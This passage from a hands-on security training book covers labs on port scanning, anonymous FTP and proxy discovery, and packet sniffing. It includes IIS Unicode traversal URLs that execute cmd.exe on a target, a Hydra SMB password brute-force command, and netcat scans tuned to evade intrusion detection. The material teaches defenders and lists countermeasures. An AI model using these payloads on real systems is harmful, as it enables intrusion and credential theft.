Service)\n\u0001\n161 (SNMP)\n\u0001\n445 (Windows Shares)\n\u0001\n500 (Isakmp)\n*Note: LanSpy is an excellent application to perform a quick scan against a target.\nLanSpy will also identify the hostname and MAC address of the target.\n" }, { "page_number": 174, "text": "Scanning\n\u0001\n161\nLab 34: Open Ports/Services \nScan Open Ports/Services of Target: Netcat \n \nPrerequisites: None\nCountermeasures: Uninstall/disable fix unnecessary services, Intrusion\nDetection Systems (IDS) Log and Event Log review\nDescription: The netcat application has many uses; one is the ability to\nscan a target for open ports and services. Another utility, cryptcat, is\nalmost identical except that it operates with encryption.\nProcedure: From a DOS prompt, type the following with the syntax of:\nnc \n\u0001\nThe –v option instructs netcat to run in verbose mode, allowing you\nto see the progress of the scan.\n\u0001\nThe –r option instructs netcat to randomize local and remote ports in\nan attempt to elude any intrusion detection systems.\n\u0001\nThe –w2 option instructs netcat to wait 2 seconds between each port\nscanned to help elude any intrusion detection systems.\n\u0001\nThe –z option instructs netcat to operate in a zero-I/O (Input/Output)\nmode. It is best to use the –z when scanning with netcat.\n\u0001\nThe 1-1024 instructs netcat to scan port 1-1024.\n" }, { "page_number": 175, "text": "162\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the target has the following ports open:\n\u0001\n80 (Web)\n\u0001\n7 (Echo)\n\u0001\n13 (daytime)\n\u0001\n21 (FTP)\n\u0001\n17 (Quote of the Day)\n\u0001\n445 (Windows Share)\n\u0001\n9 (discard)\n\u0001\n139 (Windows Share)\n\u0001\n19 (Character Generator)\n\u0001\n135 (epmap)\n\u0001\n443 (HTTPS)\n\u0001\n25 (Simple Mail Transfer Protocol [SMTP])\n*Note: From the results of this example the “low hanging fruit” ports are:\n\u0001\n7, 13, 17, 9, and 19 as these ports can easily be used to create a Denial\nof Service (DoS). These ports should not be open to the Internet.\n" }, { "page_number": 176, "text": "Scanning\n\u0001\n163\nLab 35: Port Scan/Service Identification\nScan Open Ports of Target: SuperScan \nPrerequisites: None\nCountermeasures: Secure access control lists (ACLs), Bastion servers/\nworkstations, host-based firewalls\nDescription: SuperScan has the ability to discover which ports are open\non the target. Identifying the open ports tells an attacker what ports\nare available for potential exploit.\nProcedure: Install the application, enter the target data, and scan the\ntarget. \nDouble-click on the SuperScan application. \nAccept the default installation of SuperScan. The installation will occur and\nthe SuperScan application will start.\n" }, { "page_number": 177, "text": "164\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example the default target of 127.0.0.1 was changed to 172.16.1.40\nand by clicking on Lookup, the target’s hostname was resolved (Win2000s-v).\nClick the Port list setup button.\n" }, { "page_number": 178, "text": "Scanning\n\u0001\n165\nScroll through the ports available, noticing the default service associated\nwith that port is listed. In this example the default ports already selected are\nused. Click OK, then click Start.\n*Note: Notice you have control over several parameters of SuperScan, including\nadjusting the speed at which the application runs, creating custom port lists,\nand pruning the results, which is used to eliminate computers scanned in a\nrange of targets that return no results.\nNotice that SuperScan will perform a banner grab by default. In this exam-\nple, SuperScan identified that the target:\n\u0001\nHas port 21 open and is running Microsoft FTP version 5.0.\n\u0001\nHas port 80 open and is running Microsoft IIS version 5.0.\n" }, { "page_number": 179, "text": "166\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 36: Port Scanner \nIdentify Ports Open: Strobe \nPrerequisites: None \nCountermeasures: Firewalls, disable unneeded services\nDescription: The Strobe application identifies ports open on the target.\nBy identifying the ports available this gives an attacker a potential hole\nto attempt to punch through and compromise the computer and/or\nnetwork. Remember that all commands in Linux are case sensitive.\nProcedure: Configure, compile and execute against the target. For the\nWindows-based version install and execute with the following syntax:\n./strobe (Target IP)\nFrom the Linux directory containing the compressed file type tar –zxvf\nstrobe103.tar.gz. The files will uncompress into a new directory named\nstrobe. Change to the new directory by typing cd strobe and pressing Enter.\nFrom the new directory type make install and press Enter.\n" }, { "page_number": 180, "text": "Scanning\n\u0001\n167\nThe Strobe application will now compile.\nTo execute Strobe against the target in this example:\n./strobe 172.16.1.40\n" }, { "page_number": 181, "text": "168\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Strobe application will now execute against the target.\nThe Strobe application has determined:\n\u0001\nPorts 21, 80, 135, 139, 443, 445, 1025, 1026, 1028, 1191, 1755, 3306,\n3372, 3389, 6666, 7778, and 8888 are open.\n*Note: Notice that Strobe runs very fast but the trade-off is that, from its default\nconfiguration, several of the ports commonly known to other scanners are\nnot determined (445 is used for Windows Shares, 3389 is for Terminal\nServices, etc.).\n" }, { "page_number": 182, "text": "Scanning\n\u0001\n169\nLab 37: Anonymous FTP Locator \nLocate Anonymous FTP Servers: FTPScanner \nPrerequisites: FTP server target with Anonymous access allowed.\nCountermeasures: Deny Anonymous FTP, require Secure Socket Layer\n(SSL) connections\nDescription: The FTPScanner application will locate FTP servers that\nallow Anonymous connections to occur. These servers must be using\nthe default FTP port of 21 in order for the scanner to detect the server.\nThe biggest concern with FTP is that the data be sent unencrypted\n(also known as clear text). An attacker that intercepts this clear text\ncan easily read all data within the communication.\nProcedure: From the FTPScanner application enter the target IP address\nrange.\n" }, { "page_number": 183, "text": "170\n\u0001\nPractical Hacking Techniques and Countermeasures\nSelect Session, then Begin. The FTPScanner will execute against the target.\nIn this example the FTPScanner scanned five targets and identified two\ntargets running an FTP server that permits Anonymous FTP connections. The\nlocated server IP addresses are saved to a text file in the directory of the\napplication.\nMany times an FTP server is set up with this Anonymous access uninten-\ntionally. An attacker will connect to an Anonymous FTP server to determine\nif sensitive data either resides on the server, if the FTP server itself has a weakness,\nor if the version of the FTP service itself has a known exploit.\nThis application is “buggy” but effective in that it tends to scan beyond\nthe desired range of targets.\n*Note: This FTPScanner application has been known to crash older versions of the\nNovell NetWare server, version 4.x. The fault lies in the server not having the\nrequired updates applied. In every instance in which this has occurred on\nthe Novell server, the hard drive on the server had to be rebuilt from scratch.\n" }, { "page_number": 184, "text": "Scanning\n\u0001\n171\nLab 38: CGI Vulnerability Scanner \nIdentify CGI Vulnerabilities: TCS CGI Scanner \nPrerequisites: None\nCountermeasures: Bastion servers/workstations, host-based firewalls, OS\nupdates\nDescription: The TCS Common Gateway Interface (CGI) Scanner appli-\ncation is designed to find targets that have vulnerable CGI Script errors.\nThese errors are normally due to systems that have not been patched\nor updated.\nProcedure: Start the CGI Scanner, enter the target IP address, and run.\nFrom the directory containing the TCS Scanner, double-click the TCS appli-\ncation icon.\nThe TCS CGI Scanner will start.\n" }, { "page_number": 185, "text": "172\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick to highlight the default target of htpp://www.tpp.ru and click on\nthe \nat the top left of the application to delete the current target.\nOn the gray bar along the top left of the application, enter the IP address\nor hostname of the target and click on the gray-colored arrow to insert the\nnew target. Repeat this process for multiple targets.\nThe TCS CGI Scanner is now ready to scan the target. Click on the \nto\nstart the scan. The results are displayed in the lower screen of the application.\n" }, { "page_number": 186, "text": "Scanning\n\u0001\n173\nIn this example, each script run against the target is displayed with the\nresult to the right. The ones of interest are any with a 200 as this indicates a\nsuccessful attempt.\nIn this example, I scrolled down to check for a Unicode exploit. The Unicode\nexploit is used to provide a directory listing of the hard drive of the target. In\nthis example, the initial discovery will show the contents of the C: drive.\n" }, { "page_number": 187, "text": "174\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo execute, right-click on a script and left-click on Copy String.\nOpen Internet Explorer and paste the line in the address bar. Press the\nEnter key. The directory listing of the target’s C: drive will appear.\nThe line that should be in the address bar is:\nhttp://172.16.1.40/scripts/..%c0%af../winnt/system32/\ncmd.exe?/c+dir+c:\\\nFrom this point the entire hard drive can be viewed a directory at a time\nby editing the script in the address bar. \n*Note: At this point an attacker may choose to see exactly what is installed on the\ntarget. He or she may check to see if the target has a firewall or antivirus\ninstalled, and whether there are any logs, proprietary software, sensitive\ndocuments, etc.\n" }, { "page_number": 188, "text": "Scanning\n\u0001\n175\nTo list the contents of the Program Files directory, edit the address bar to\nhttp://172.16.1.40/_vti_bin/..%c0%af../..%c0%af../..%c\n0%af../winnt/system32/cmd.exe?/c+dir+c:\\progra~1\nAt this point an attacker may see if he or she has write access to the target.\nThis is done by attempting to send a create directory command within the script:\nhttp://172.16.1.40/_vti_bin/..%c0%af../..%c0%af../..%c\n0%af../winnt/system32/cmd.exe?/c+md+c:\\beenhacked\n" }, { "page_number": 189, "text": "176\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe following screen appears:\nOn the address bar enter the same script originally obtained from the TCS\nCGI Scanner: \nhttp://172.16.1.40/scripts/..%c0%af../winnt/system32/\ncmd.exe?/c+dir+c:\\\n" }, { "page_number": 190, "text": "Scanning\n\u0001\n177\nNotice that the beenhacked directory is now created in the root of the C:\ndrive on the target.\n*Note: The results of these scripts tells an attacker that the computer has read/write\naccess and as such can issue commands to the target as if the attacker were\nsitting behind the keyboard of the target. At this point, the attacker owns the\ntarget. \nThe gray bar along the top right of the application allows you to enter\ncustom scripts for the application to check against the target. If you wanted\nto check the Program Files directory or create a beenhacked directory on each\ntarget it is capable of compromising, you could enter these scripts here and\nclick the downward-pointing arrow to enter the script into the application.\nRepeat this process for multiple targets \n" }, { "page_number": 191, "text": "178\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 39: Shared Resources Locator \nIdentify Open Shared Resources: Hydra\nPrerequisites: Shared resources on the target\nCountermeasures: Bastion servers/workstations, host-based firewalls\nDescription: The Hydra application will scan a range of IP addresses and\nidentify any open shares from open port 139. Open shares are shares\nwithout passwords assigned to them, of which the majority allows\nanyone to copy, move, delete, and quite often add to the share. Not\nall shares are left unprotected and Hydra has the ability to brute-force\nits way into the share given a username and password list combination.\nRemember that Linux commands are case sensitive.\nProcedure: Compile, install, and launch against the target with the following\nsyntax:\n./hydra (Target IP or Hostname)\nor\n./xhydra (To start Hydra in X)\nFrom the directory containing the compressed Hydra files type tar –zxvf\nhydra-5.0-src.tar.gz.\nThe files will uncompress into a new directory named hydra-5.0-src.\nChange to the new directory by typing cd hydra-5.0-src and pressing Enter.\nHydra needs to be compiled for the specific machine it is on. This is done\nby typing ./configure.\nHydra will compile to the specific machine. The next step is to create\nHydra by typing the make command.\n" }, { "page_number": 192, "text": "Scanning\n\u0001\n179\nThe make command will execute and attempt to create the xhydra for\nLinux X.\nTo start Hydra in X type:\n./xhydra\n" }, { "page_number": 193, "text": "180\n\u0001\nPractical Hacking Techniques and Countermeasures\nXhydra will start.\nChange the Single target to the new target.\nChange the Port from Cisco to 139. (After all, we are looking for SMB\nShares).\nSelect the Show Attempts and Be Verbose options.\n" }, { "page_number": 194, "text": "Scanning\n\u0001\n181\nSelect the Passwords tab. \nChange the Username to Kermit. (Labs 10 and 11 identified the real\nAdministrator account as being renamed to Kermit.)\nChange the password to either a specific password for the account or in this\ncase to a password file. There are applications designed to create password\nfiles, but if you need to create one manually simply create a text file in the\ndirectory containing Hydra with passwords containing one password per line.\nClick on the Start tab.\n" }, { "page_number": 195, "text": "182\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick Start. The results will be displayed.\nHydra will attempt each password from the password file for the username\ngiven. If the correct password is in the file, Hydra will let you know. In this\nexample, the password for the username kermit is 123. \nNow that you know what the username/password combination is, how\ndo you connect to it?\nThe first step will be to create a directory that Linux can associate with the\ntarget’s share by typing:\nmkdir hacker\n" }, { "page_number": 196, "text": "Scanning\n\u0001\n183\nNext is to mount the shared directory on the target. In this example, I know\nthe share name (Personal) from the LANguard application lab (Lab 30).\nSdfds\nType in the username for the share.\n" }, { "page_number": 197, "text": "184\n\u0001\nPractical Hacking Techniques and Countermeasures\nType in the password for the share.\nVerify that the Linux machine can view the contents of the target’s shared\nfolder.\n" }, { "page_number": 198, "text": "Scanning\n\u0001\n185\nBy looking at the shared directory on the target we can verify that the\nLinux machine is actually looking at the contents of the share on the target.\nWhen you look at xhydra, the bottom of the screen will display exactly what\nyou would need to type if you choose to use the command-line version or if\nxhydra will not install on your version of Linux. In this case, you would type:\n./hydra 172.16.1.40 smb –s 139 –v –V –l kermit –P \npasswordlist1 –t 36\n" }, { "page_number": 199, "text": "186\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe results from the command line are identical to the xhydra.\n*Note: There are literally thousands of open shares existing on the Internet, and thou-\nsands of those are left unprotected unintentionally. One of the biggest reasons\nfor this is that the owner is not educated in the area of security and is dependent\nupon his or her ISP or even the router “out-of-the-box” for their security needs.\n" }, { "page_number": 200, "text": "Scanning\n\u0001\n187\nLab 40: Locate Wingate Proxy Servers \nLocate Wingate Proxy Servers: WGateScan/ADM Gates\nPrerequisites: Wingate Proxy Server target\nCountermeasures: Deny Wingate Proxy Servers, Bastion servers/\nworkstations\nDescription: The Wingate Proxy Server application is designed to act as\na proxy for users on a LAN. This proxy provides Network Address\nTranslation (NAT), which is a level of security as the internal IP\naddresses are not routable on the Internet. Any traffic going to the\nInternet has the external IP address of the Wingate server. Remember\nthat all Linux commands are case sensitive.\nBecause of this level of anonymity attackers look for vulnerable Wingate\nProxy Servers from which to launch their attacks and on which to store their\ntools. One of the first items an attacker will perform once the Wingate server\nhas been compromised is to turn off any logging to help cover his or her\ntracks. Remember: No Logs = No Evidence.\nProcedure: Enter the target IP range, target information, and application\noptions; then scan.\nOpen the WGateScan application. \n" }, { "page_number": 201, "text": "188\n\u0001\nPractical Hacking Techniques and Countermeasures\nEnter the target hostname or IP address. Enter the IP address range. Accept\nthe default Scan in port 23. Select Try to open the port only. Click Scan.\nWGateScan will locate any Wingate servers within the IP range set.\n" }, { "page_number": 202, "text": "Scanning\n\u0001\n189\nIn this example, one Wingate server was located at 172.16.1.40.\n*Note: From this point, the attacker will attempt to compromise the security of the\nserver by seeking specific exploits for Wingate servers. The newer versions\nof Wingate allow the server to use the Windows users for the Wingate server\nuser list. What this means for the attacker is if the attacker has already\ncompromised one account on the server, he or she can now log into the\nWingate machine as that user.\nTo locate Wingate serves via ADM Gates:\n\u0001\nFrom the Linux directory containing the compressed ADM Gates file\ntype tar –zxvf ADMgates-v0.2.tgz.\n\u0001\nThe files will uncompress into a new directory named ADMgates.\n\u0001\nChange to the new directory by typing cd ADMgates and pressing\nEnter.\n\u0001\nInstall ADM Gates by typing ./install.\n" }, { "page_number": 203, "text": "190\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe ADM Gates application will install.\nIn this example, ADM Gates is used to scan the entire .com domain by typing:\n./ADMgates com\n*Note: As you might imagine you could read this entire book a million times before\na scan of the entire .com domain would complete; the reality is at a minimum\nyour ISP would cut you off before completion because the government is\npicky about people scanning its computers and has no problem letting your\nISP know about it when it occurs.\n" }, { "page_number": 204, "text": "Scanning\n\u0001\n191\nIn the next example ADM Gates is used to scan a specific server\n(spiveytech.com).\n*Note: The spiveytech.com domain has no Wingate server installed; this is to show\nthe syntax of how to scan a specific machine.\n*Note: Both the WGateScan and ADM Gate scanners are effective at locating Wingate\nservers. The noticeable difference is that the WGateScan is set to specific IP\nranges whereas the ADM Gate scanner is capable of scanning an entire\ndomain (.com, .edu, .net, etc.).\n" }, { "page_number": 205, "text": "" }, { "page_number": 206, "text": "Chapter 5\nSniffing Traffic\n" }, { "page_number": 207, "text": "" }, { "page_number": 208, "text": "Sniffing Traffic\n\u0001\n195\nLab 41: Packet Capture — Sniffer \nExploit Data from Network Traffic: Ethereal\nPrerequisites: WinPcap \nCountermeasures: Encryption, various sniffer detector applications\nDescription: Ethereal is an excellent sniffer program that allows the cap-\nturing of network packets as they traverse the network to allow the\nuser to look “inside” the packets themselves for information about the\nsender and/or receiver. Information that can be useful to an attacker\nincludes the following:\n\u0001\nIP addresses\n\u0001\nHostnames\n\u0001\nRoutes\n\u0001\nData (much data is sent in clear text; including File Transfer Protocol\n(FTP), Telnet, e-mails, etc.).\n\u0001\nProtocol information\nBy capturing packets on the network an attacker can better structure his\nor her attack or glean important information from the data collected. Please\nremember that all Linux commands are case sensitive.\n*Note: Ethereal will be referenced throughout the remainder of this book to verify\nthe results of other labs. Learning how to read the internal workings of\ncaptured packets gives an attacker (or security professional) a keen advantage\ninstead of just depending on logs for review. If an attacker can alter the data\nstream, the logs will represent the altered data.\nProcedure: Install the Ethereal application from either the accompanying\nCD or after downloading it from http://www.ethereal.com. If you\nare installing Ethereal on a Windows computer, you will also need to\ninstall the WinPcap packet capture library (also available on the CD\nor the Ethereal Web site).\n" }, { "page_number": 209, "text": "196\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo Install Ethereal on a Red Hat Linux Computer:\n\u0001\nFrom the Linux directory containing the compressed Ethereal file, type\ntar –zxvf ethereal-0.10.13.tar.gz.\n\u0001\nThe contents of the compressed file will be installed to a new directory\nnamed ethereal-0.10-13. \n\u0001\nChange to that directory by typing cd ethereal-0.10.13 and press Enter.\n\u0001\nThe contents must now be compiled to the specific machine it is on\nby typing ./configure.\n" }, { "page_number": 210, "text": "Sniffing Traffic\n\u0001\n197\n The Ethereal code will now compile.\n*Note: Be patient with this step. Depending on your computer this process can take\n10 to 20 minutes.\nThe next step is to type the make command, which will create the Ethereal\nexecutable file.\n" }, { "page_number": 211, "text": "198\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe executable is now created.\nNow that the Ethereal executable has been created, start the application\nby typing:\n./ethereal \nand pressing Enter.\n" }, { "page_number": 212, "text": "Sniffing Traffic\n\u0001\n199\nThe Ethereal application will now start.\n*Note: Although it is not much to look at right now, this will quickly change. Also,\nif you have any problems in configuring or making the executable, please\nread the README and INSTALL files that come with the program. Many\ntimes the problem is simply that there are incorrect versions either mixed or\ninstalled on the computer.\nTo demonstrate the capabilities of Ethereal click Capture, then Options.\n" }, { "page_number": 213, "text": "200\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the Options screen ensure that the correct interface is chosen, select\nEnable network name resolution, and then click Start.\nA Capture window will now appear identifying the protocols available for\ncapture, the number of packets for each protocol captured, and the percentage\nof overall capture for each protocol. \n" }, { "page_number": 214, "text": "Sniffing Traffic\n\u0001\n201\nIn this example, I opened an Internet connection to Google and hit the\nrefresh button a few times to generate some traffic.\nI then initiated an FTP connection to another virtual machine and logged\nin normally.\nI then clicked the Stop button. \n*Note: Keep in mind that the traffic you see is connected to a network hub, and you\nwill be able to see all traffic going through that hub to all other computers\non that hub. If, however, the network link you are using is connected to a\nswitch, you will only be able to see traffic specifically destined to/from your\nconnection. There is a way to “sniff” traffic on a switch to show all traffic to\nspecific or every computer on a switch, which will be covered in Chapter 9.\n" }, { "page_number": 215, "text": "202\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe captured data screen appears. The items listed are as follows:\n\u0001\nThe Packets are numbered (No.).\n\u0001\nTime the packet was captured after the Start button was clicked.\n\u0001\nThe Source of the packet.\n\u0001\nThe Destination of the packet.\n\u0001\nThe Protocol of the captured packet.\n\u0001\nThe purpose (Info) of the packet.\nThe small gray area below the packets can be expanded by dragging the\nbar up and down. This area identifies the technical specifics of each packet.\nThe bottom section of the screen shows the data of the packets captured.\nThis is an important area for viewing the packets.\n" }, { "page_number": 216, "text": "Sniffing Traffic\n\u0001\n203\nClick on the Protocol column to sort the results based on the packets\ncaptured.\nScroll down on the right side of the screen until you see the FTP protocols\ncaptured. Click on the first FTP protocol packet listed to highlight it.\n" }, { "page_number": 217, "text": "204\n\u0001\nPractical Hacking Techniques and Countermeasures\nRight-click on the first FTP packet listed and left-click on Follow TCP Stream.\nEthereal will now place the packets in order of transmission. In this case,\nbecause FTP is unencrypted (known as clear text) it becomes apparent why using\nclear text FTP can become dangerous if an attacker is sniffing your connection.\n" }, { "page_number": 218, "text": "Sniffing Traffic\n\u0001\n205\nFrom the data captured in this example, it is revealed that:\n\u0001\nThe FTP server is running Microsoft FTP Service (Version 5.0).\n\u0001\nThe username is “hacksym.”\n\u0001\nThe password is “MySecretPassword.”\n\u0001\nThe FTP server is running in “Passive Mode.”\n*Note: If you close the windows from a Follow TCP Stream to return to the main\nEthereal window and look in the Filter area (in green), you will see the\nequivalent of the command line to filter out the same results. Using the\ncommand line to filter results will save you time.\n" }, { "page_number": 219, "text": "206\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo Install Ethereal on Microsoft Windows:\nOlder versions of Ethereal require WinPcap to be installed prior to Ethereal.\nThe latest version (0.10.13) actually includes an installer for WinPcap if it is\nnot installed on the computer.\nDouble-click the Ethereal executable available on the accompanying CD\nor from the Web site at http://www.ethereal.com.\nDouble-click on the Ethereal-setup icon.\nOn the Ethereal setup screen click Next.\n" }, { "page_number": 220, "text": "Sniffing Traffic\n\u0001\n207\nOn the License Agreement screen click OK.\nOn the component setup (Choose Components) screen click Next.\n" }, { "page_number": 221, "text": "208\n\u0001\nPractical Hacking Techniques and Countermeasures\nOn the Select Additional Tasks screen click Next.\nAccept the default installation directory. Click Next.\n" }, { "page_number": 222, "text": "Sniffing Traffic\n\u0001\n209\nSelect Install WinPcap 3.1 and Start WinPcap service “NPF” at\nstartup. Click Install.\nThe WinPcap installation will now begin. Click Next.\n" }, { "page_number": 223, "text": "210\n\u0001\nPractical Hacking Techniques and Countermeasures\nOn the License Agreement screen click I Agree.\nThe WinPcap will complete installing. Click Finish.\n" }, { "page_number": 224, "text": "Sniffing Traffic\n\u0001\n211\nThe installation of Ethereal will complete. Click Next.\nSelect Run Ethereal 0.10.13. Click Finish.\n" }, { "page_number": 225, "text": "212\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Ethereal application will start.\nThe Ethereal application functions in the same manner as in Linux at this\npoint. Refer to the first part of this lab for a review of the operation of this\napplication. \n*Note: Ethereal is widely used as a packet capturing application and will be refer-\nenced throughout the remainder of this book. It is important that you have\nthe basic understanding of Ethereal in order to verify the result of future labs.\n" }, { "page_number": 226, "text": "Sniffing Traffic\n\u0001\n213\nLab 42: Packet Capture — Sniffer \nExploit Data from Network Traffic: Ngrep \nPrerequisites: NULL Session \nCountermeasures: Encryption, various sniffer detector applications\nDescription: Ngrep is a network sniffer that currently recognizes IP, Trans-\nfer Control Protocol (TCP), User Datagram Protocol (UDP), Internet\nControl Messenger Protocol (ICMP), Internet Group Management Pro-\ntocol (IGMP), PPP, Serial Line Interface Protocol (SLIP), FDDI, Token\nRing, and NULL interfaces. It also understands Berkley Packet Filter\n(BPF) logic like other packet-sniffing tools. Remember that all com-\nmands in Linux are case sensitive.\nProcedure: For the Windows version, run from the directory where the\nexecutable is located. For Linux, compile and make the application\nand execute with the syntax of:\nngrep \nFor Linux \nFrom the directory containing the compressed files, type tar –zxvf ngrep-\n1.40.1.tar.gz.\nThe compressed files will uncompress into a new directory named ngrep.\nChange to the new directory by typing cd ngrep and pressing Enter.\nThe next step is to compile the application to the specific machine it is\ninstalled on. This is done by typing ./configure.\n" }, { "page_number": 227, "text": "214\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe ngrep application will now compile to the specific machine it is on.\nThe last step is to install the application by typing the make command.\n" }, { "page_number": 228, "text": "Sniffing Traffic\n\u0001\n215\nThe ngrep application will install.\nTo execute, type:\n./ngrep\n" }, { "page_number": 229, "text": "216\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe ngrep application will start. At this point ngrep will capture all traffic\nto and from the computer it is installed on. To stop the capture hold down\nthe Ctrl key and press the C key.\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub, you will be able to see all\ntraffic going through that hub to all other computers on that hub. If, however,\nthe network link you are using is connected to a switch, you will only be\nable to see traffic specifically destined to/from your connection. There is a\nway to “sniff” traffic on a switch to show all traffic to a specific or every\ncomputer on a switch, which will be covered in Chapter 9.\n" }, { "page_number": 230, "text": "Sniffing Traffic\n\u0001\n217\nNgrep also allows for the redirection of the output to be saved to a file for\nlater analysis. This is done with the syntax of:\nngrep >> output.txt\nThe ngrep application will start. At this point all traffic to and from the\ncomputer it is installed on is captured and saved to a file named output.txt.\nTo stop the capture hold down the Ctrl key and press the C key.\n" }, { "page_number": 231, "text": "218\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo view the contents of the output.txt file, type:\ncat output.txt\nThe contents will be displayed for further review. In this case, the output\nis traffic captured between the computer running ngrep to Google, indicating\nthat this is data from the computer going out to Google’s Web site.\n*Note: Attackers are looking for more sensitive data than the user’s Web use, but\nkeep in mind that an attacker is looking for all unencrypted (plain text) data\nand it is only a matter of time before some sensitive data (FTP logins, Telnet\ncommunications, etc.) is captured by ngrep for analysis, as shown in the\nWindows example for ngrep.\n" }, { "page_number": 232, "text": "Sniffing Traffic\n\u0001\n219\nFor Windows\nFrom the directory containing the ngrep application, type:\nngrep\nThe ngrep application will start. At this point, ngrep will capture all traffic\nto and from the computer it is installed on.\n" }, { "page_number": 233, "text": "220\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo stop the capture, hold down the Ctrl key and press the C key.\nNgrep also allows for the redirection of the output to be saved to a file for\nlater analysis. This is done with the syntax of:\nngrep >> output.txt\n" }, { "page_number": 234, "text": "Sniffing Traffic\n\u0001\n221\nNgrep will now start capturing all data to and from the computer it is\nrunning on and save it to a file named output.txt.\nTo stop the capture, hold down the Ctrl key and press the C key.\n" }, { "page_number": 235, "text": "222\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy opening the output.txt file for analysis, it was determined that the user\nlogged into an FTP server. As FTP data is sent unencrypted (plain text), ngrep\neasily captured the username/password. In this example:\n\u0001\nThe username is hacker.\n\u0001\nThe password is hacktheplanet.\n*Note: Attackers are looking for any unencrypted (plain text) data that flows along\nthe network. Some of the items of interest include:\n\u0001\nUsernames\n\u0001\nPasswords\n\u0001\nE-mails\n\u0001\nIP addresses\n\u0001\nMedia Access Control (MAC) addresses\n\u0001\nRouter IP addresses\n" }, { "page_number": 236, "text": "Sniffing Traffic\n\u0001\n223\nLab 43: Packet Capture — Sniffer \nExploit Data from Network Traffic: Tcpdump \nPrerequisites: NULL Session\nCountermeasures: Encryption, various sniffer detector applications\nDescription: The Tcpdump command captures packets as they traverse\nthe network. If run with the 1/Nw flag, the data is saved to a file for\nlater analysis. If run with the 1/Nr flag, Tcpdump will read from a saved\npacket file rather than read packets from a network interface. Only\npackets that match the options will be processed by Tcpdump.\nRemember that all Linux commands are case sensitive.\nProcedure: Compile, make, and install the application and run on the\nnetwork with the syntax of:\ntcpdump \nFrom the directory containing the compressed files type tar –zxvf\ntcpdump-3.9.3.tar.gz.\nThe files will uncompress into a new directory named tcpdump-3.9.4.\nChange to the new directory by typing cd tcpdump-3.9.4 and pressing\nEnter.\nAs with most Linux applications, Tcpdump must be compiled to the specific\nmachine it is installed on. In this example this is done by typing ./configure.\n" }, { "page_number": 237, "text": "224\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Tcpdump application will configure to the specific machine it is on.\nThe next step is to make the executable by typing make and pressing\nEnter.\n" }, { "page_number": 238, "text": "Sniffing Traffic\n\u0001\n225\nThe make command will execute.\nThat last step is to install the executable by typing make install and\npressing Enter.\n" }, { "page_number": 239, "text": "226\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe make install command will execute.\nTo execute Tcpdump in its most basic form, simply type:\n./tcpdump\n" }, { "page_number": 240, "text": "Sniffing Traffic\n\u0001\n227\nMany sniffers have the ability to “catch all” (or almost all) traffic by default.\nTcpdump is no different.\nTcpdump requires expressions (options) to instruct it to give you a more\ngranular result of the “sniff.” For example, to only see data incoming or\noutgoing from a specific target:\ntcpdump host (Target IP or Hostname) \nTo only see data incoming to a specific target:\ntcpdump dst host (Target IP or Hostname) \nTo filter by TCP or UDP and only see data incoming to a specific target for\nonly Web or SSL traffic:\ntcpdump dst host (Target IP or Hostname) && (tcp dst \nport 80 or tcp dst port 443)\n*Note: Tcpdump is a very good packet sniffer and is commonly used by security\nprofessionals to review active firewalls and network traffic. The expressions\nare plentiful and are covered in Appendix B.\n" }, { "page_number": 241, "text": "228\n\u0001\nPractical Hacking Techniques and Countermeasures\nAnother useful feature of Tcpdump is the ability to save the output to a\nlog file and the ability to search from the saved file instead of the live data.\nTo save the output to a file instead of displaying it on the screen use the\nfollowing syntax:\ntcpdump –w \n" }, { "page_number": 242, "text": "Sniffing Traffic\n\u0001\n229\nTo read captured Tcpdump files use the following syntax:\ntcpdump –r \nAs with output to the screen you have granular control over the results of\nthe file with the use of expressions as above.\n*Note: I highly recommend the use of Tcpdump as it offers a pretty good set of\nexpressions to filter to the desired results and it is a very proven application.\n" }, { "page_number": 243, "text": "230\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 44: Packet Capture — Sniffer \nExploit Data from Network Traffic: WinDump \nPrerequisites: WinPcap\nCountermeasures: Encryption, various sniffer detector applications\nDescription: WinDump is the Windows version of Tcpdump (refer to\nLab 43). It is a command-line utility that allows for the capturing of\nnetwork traffic. The output can be saved to a file for diagnoses and it\nis able to run under all versions of Windows 95 and up. \n*Note: WinDump 3.6.2 and older require WinPcap 2.3 and WinDump version 3.8\nalpha requires WinPcap 3.0.\nProcedure: From the directory containing the WinDump application exe-\ncute against the target with the syntax of:\nwindump \n" }, { "page_number": 244, "text": "Sniffing Traffic\n\u0001\n231\nThe WinDump application will “sniff” the network and capture any data\ndestined to or from the computer “sniffing.”\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub. you will be able to see all\ntraffic going through that hub to all other computers on that hub. If, however,\nthe network link you are using is connected to a switch, you will only be\nable to see traffic specifically destined to your connection. There is a way to\n“sniff” traffic on a switch to show all traffic to a specific or every computer\non a switch, which will be covered in Chapter 9.\n" }, { "page_number": 245, "text": "232\n\u0001\nPractical Hacking Techniques and Countermeasures\nWinDump also allows you to save the output to a file for further analysis\nby redirecting the output to a file by typing:\nwindump >> output.txt\nIn this example, the output will be saved to a file named output.txt. To\nstop the application, hold down the Ctrl key plus the C key.\n" }, { "page_number": 246, "text": "Sniffing 